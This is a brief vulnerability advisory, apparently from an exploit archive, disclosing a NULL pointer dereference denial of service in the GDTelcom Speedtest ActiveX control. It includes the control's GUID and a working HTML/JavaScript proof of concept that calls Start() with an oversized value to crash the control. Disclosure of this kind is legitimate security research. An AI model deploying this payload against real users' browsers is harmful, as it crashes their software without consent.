The GDTelcom Speedtest active-x control suffers from a remote denial of service vulnerability.
fdbf2fe779b3ff14c40626597da07f02956ca4255fb890932c52ef652bc4d5b4
Title: GDTelcom Speedtest ActiveX Control "FTPDownLoad Class"-ActiveX.dll Remote Denial of Service Vulnerability
Software: GDTelcom Speedtest ActiveX Control "FTPDownLoad Class"-ActiveX.dll(Version 1.0)
Vulnerability Published :2011-10-15
Vulnerability Update Time :2011-09-10
Vendor: www.gdcn.com(No vendor response)
Download: http://10000.gd.cn/speedtest/ActiveX.dll
Impact: Median
Bug Description: GDTelcom Speedtest ActiveX Control "FTPDownLoad Class"-ActiveX.dll(Version 1.0) NULL Pointer Dereference.
Class Info:
Class FTPDownLoad
GUID: {348AA067-D6BC-4385-A833-08E308D35782}
Number of Interfaces: 1
Default Interface: IFTPDownLoad
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
PoC:
****************************************************************
<html>
<body>
<object classid='clsid:348AA067-D6BC-4385-A833-08E308D35782' id='target'></object>
<script language='javascript'>
var arg1=2147483647;
target.Start(arg1);
</script>
</body>
</html>
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Credits: This vulnerability was discovered by demonalex (at) 163 (dot) com
Pentester/Researcher
Dark2S Security Team/PolyU.HK